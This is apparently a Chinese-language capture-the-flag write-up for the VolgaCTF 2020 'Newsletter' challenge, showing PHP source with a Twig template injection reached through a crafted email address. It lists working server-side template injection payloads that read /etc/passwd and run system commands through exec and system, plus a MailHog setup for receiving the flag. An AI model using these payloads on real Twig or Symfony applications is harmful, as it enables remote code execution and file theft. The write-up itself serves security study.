VolgaCTF 2020 Qualifier Newsletter

源码

题目直接给了源码

 public function subscribe(Request $request, MailerInterface $mailer)
    {
        $msg = '';
        $email = filter_var($request->request->get('email', ''), FILTER_VALIDATE_EMAIL);
        if($email !== FALSE) {
            $name = substr($email, 0, strpos($email, '@'));
            $content = $this->get('twig')->createTemplate(
                "<p>Hello ${name}.</p><p>Thank you for subscribing to our newsletter.</p><p>Regards, VolgaCTF Team</p>"
            )->render();

            $mail = (new Email())->from('newsletter@newsletter.q.2020.volgactf.ru')->to($email)->subject('VolgaCTF Newsletter')->html($content);
            $mailer->send($mail);

            $msg = 'Success';
        } else {
            $msg = 'Invalid email';
            echo $msg;
        }
        return $this->render('main.twig', ['msg' => $msg]);
    }

绕过FILTER_VALIDATE_EMAIL

FILTER_VALIDATE_EMAIL是根据RFC 822来检测邮箱地址是否合法的,所以说我们可以用双引号把特殊字符括起来。很明显题目中有个twig的ssti,我们的邮箱地址可以传入"{{1+1}}"@domain.ltd来达到ssti,同时要注意我们的邮箱长度要在64个字符之内。

twig ssti

文件读取

{{'/etc/passwd'|file_excerpt(1,30)}}

{{app.request.files.get(1).__construct('/etc/passwd','')}}
{{app.request.files.get(1).openFile.fread(99)}}

rce

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

{{['cat /etc/passwd']|filter('system')}}

POST /subscribe?0=cat+/etc/passwd HTTP/1.1
{{app.request.query.filter(0,0,1024,{'options':'system'})}}

smtp接收邮件

因为邮箱的用户名是payload,所以正常的邮箱肯定不能用,我们需要自己起一个smtp服务。我在github上找到了MailHog,简单阅读readme之后,直接在vps上

docker pull mailhog/mailhog
docker run -p 25:1025 -p 18025:8025 mailhog/mailhog

将mailhog默认的smtp端口1025映射到vps的默认smtp端口25,mailhog的web默认端口是8025,挑个能用的映射就行了,发送payload,成功收到flag

原文地址:https://www.cnblogs.com/20175211lyz/p/12602687.html